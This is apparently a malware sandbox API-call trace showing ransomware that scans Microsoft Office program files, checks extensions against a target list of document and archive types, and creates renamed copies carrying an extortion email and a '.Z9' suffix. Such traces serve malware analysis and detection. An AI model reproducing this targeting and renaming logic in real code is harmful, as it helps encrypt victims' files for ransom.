	[0165.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.197] lstrlenW (lpString=".7z") returned 3
	[0165.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.197] lstrlenW (lpString=".dbf") returned 4
	[0165.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.198] lstrlenW (lpString=".1cd") returned 4
	[0165.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.198] lstrlenW (lpString=".jpg") returned 4
	[0165.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.198] lstrlenW (lpString=".doc") returned 4
	[0165.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString=".docx") returned 5
	[0165.198] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.198] lstrlenW (lpString=".pdf") returned 4
	[0165.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString=".xls") returned 4
	[0165.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString=".xlsx") returned 5
	[0165.198] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.198] lstrlenW (lpString=".ppt") returned 4
	[0165.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.198] lstrlenW (lpString=".zip") returned 4
	[0165.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString=".rar") returned 4
	[0165.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.198] lstrlenW (lpString=".bz2") returned 4
	[0165.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.199] lstrlenW (lpString=".7z") returned 3
	[0165.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.199] lstrlenW (lpString=".dbf") returned 4
	[0165.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.199] lstrlenW (lpString=".1cd") returned 4
	[0165.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.199] lstrlenW (lpString=".jpg") returned 4
	[0165.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.199] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.199] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0165.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.201] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19136) returned 1
	[0165.201] CloseHandle (hObject=0x474) returned 1
	[0165.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0165.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.202] lstrlenW (lpString=".doc") returned 4
	[0165.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString=".docx") returned 5
	[0165.202] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.202] lstrlenW (lpString=".pdf") returned 4
	[0165.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString=".xls") returned 4
	[0165.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString=".xlsx") returned 5
	[0165.202] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.202] lstrlenW (lpString=".ppt") returned 4
	[0165.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.202] lstrlenW (lpString=".zip") returned 4
	[0165.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString=".rar") returned 4
	[0165.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.202] lstrlenW (lpString=".bz2") returned 4
	[0165.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.202] lstrlenW (lpString=".7z") returned 3
	[0165.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString=".dbf") returned 4
	[0165.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString=".1cd") returned 4
	[0165.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString=".jpg") returned 4
	[0165.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString=".doc") returned 4
	[0165.203] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString=".docx") returned 5
	[0165.203] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.203] lstrlenW (lpString=".pdf") returned 4
	[0165.203] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString=".xls") returned 4
	[0165.203] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString=".xlsx") returned 5
	[0165.203] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.203] lstrlenW (lpString=".ppt") returned 4
	[0165.203] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.203] lstrlenW (lpString=".zip") returned 4
	[0165.203] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.203] lstrlenW (lpString=".rar") returned 4
	[0165.204] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.204] lstrlenW (lpString=".bz2") returned 4
	[0165.204] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.204] lstrlenW (lpString=".7z") returned 3
	[0165.204] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.204] lstrlenW (lpString=".dbf") returned 4
	[0165.204] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.204] lstrlenW (lpString=".1cd") returned 4
	[0165.204] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83
	[0165.204] lstrlenW (lpString=".jpg") returned 4
	[0165.204] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.204] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.204] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0165.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.205] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=20672) returned 1
	[0165.205] CloseHandle (hObject=0x474) returned 1
	[0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220
	[0165.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.207] lstrlenW (lpString=".doc") returned 4
	[0165.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.207] lstrlenW (lpString=".docx") returned 5
	[0165.207] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.207] lstrlenW (lpString=".pdf") returned 4
	[0165.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString=".xls") returned 4
	[0165.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString=".xlsx") returned 5
	[0165.208] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.208] lstrlenW (lpString=".ppt") returned 4
	[0165.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString=".zip") returned 4
	[0165.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString=".rar") returned 4
	[0165.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString=".bz2") returned 4
	[0165.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.208] lstrlenW (lpString=".7z") returned 3
	[0165.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString=".dbf") returned 4
	[0165.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString=".1cd") returned 4
	[0165.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString=".jpg") returned 4
	[0165.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.208] lstrlenW (lpString=".doc") returned 4
	[0165.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString=".docx") returned 5
	[0165.209] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.209] lstrlenW (lpString=".pdf") returned 4
	[0165.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString=".xls") returned 4
	[0165.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString=".xlsx") returned 5
	[0165.209] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.209] lstrlenW (lpString=".ppt") returned 4
	[0165.209] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.209] lstrlenW (lpString=".zip") returned 4
	[0165.209] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString=".rar") returned 4
	[0165.209] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.209] lstrlenW (lpString=".bz2") returned 4
	[0165.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.209] lstrlenW (lpString=".7z") returned 3
	[0165.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.209] lstrlenW (lpString=".dbf") returned 4
	[0165.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.209] lstrlenW (lpString=".1cd") returned 4
	[0165.209] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82
	[0165.209] lstrlenW (lpString=".jpg") returned 4
	[0165.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.210] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.210] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30
	[0165.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.211] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19648) returned 1
	[0165.211] CloseHandle (hObject=0x474) returned 1
	[0165.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220
	[0165.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.211] lstrlenW (lpString=".doc") returned 4
	[0165.211] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.211] lstrlenW (lpString=".docx") returned 5
	[0165.211] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.211] lstrlenW (lpString=".pdf") returned 4
	[0165.211] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString=".xls") returned 4
	[0165.212] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString=".xlsx") returned 5
	[0165.212] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.212] lstrlenW (lpString=".ppt") returned 4
	[0165.212] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString=".zip") returned 4
	[0165.212] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString=".rar") returned 4
	[0165.212] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString=".bz2") returned 4
	[0165.212] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.212] lstrlenW (lpString=".7z") returned 3
	[0165.212] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString=".dbf") returned 4
	[0165.212] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString=".1cd") returned 4
	[0165.212] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString=".jpg") returned 4
	[0165.212] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.212] lstrlenW (lpString=".doc") returned 4
	[0165.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString=".docx") returned 5
	[0165.213] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.213] lstrlenW (lpString=".pdf") returned 4
	[0165.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString=".xls") returned 4
	[0165.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString=".xlsx") returned 5
	[0165.213] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.213] lstrlenW (lpString=".ppt") returned 4
	[0165.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.213] lstrlenW (lpString=".zip") returned 4
	[0165.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString=".rar") returned 4
	[0165.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.213] lstrlenW (lpString=".bz2") returned 4
	[0165.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.213] lstrlenW (lpString=".7z") returned 3
	[0165.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.213] lstrlenW (lpString=".dbf") returned 4
	[0165.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.213] lstrlenW (lpString=".1cd") returned 4
	[0165.213] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76
	[0165.213] lstrlenW (lpString=".jpg") returned 4
	[0165.213] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.214] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.214] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0165.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.215] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19136) returned 1
	[0165.215] CloseHandle (hObject=0x474) returned 1
	[0165.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220
	[0165.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0165.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0165.216] lstrlenW (lpString=".doc") returned 4
	[0165.216] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.216] lstrlenW (lpString=".docx") returned 5
	[0165.216] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.216] lstrlenW (lpString=".pdf") returned 4
	[0165.216] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.216] lstrlenW (lpString=".xls") returned 4
	[0165.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.216] lstrlenW (lpString=".xlsx") returned 5
	[0165.216] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.216] lstrlenW (lpString=".ppt") returned 4
	[0165.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0165.216] lstrlenW (lpString=".zip") returned 4
	[0165.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.216] lstrlenW (lpString=".rar") returned 4
	[0165.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.217] lstrlenW (lpString=".bz2") returned 4
	[0165.217] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.217] lstrlenW (lpString=".7z") returned 3
	[0165.217] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78
	[0165.217] lstrlenW (lpString=".dbf") returned 4
	[0165.217] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.056] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.056] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
